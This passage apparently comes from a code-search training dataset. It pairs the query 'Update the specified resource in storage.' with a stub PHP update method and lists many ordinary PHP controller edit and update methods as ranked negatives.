edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: 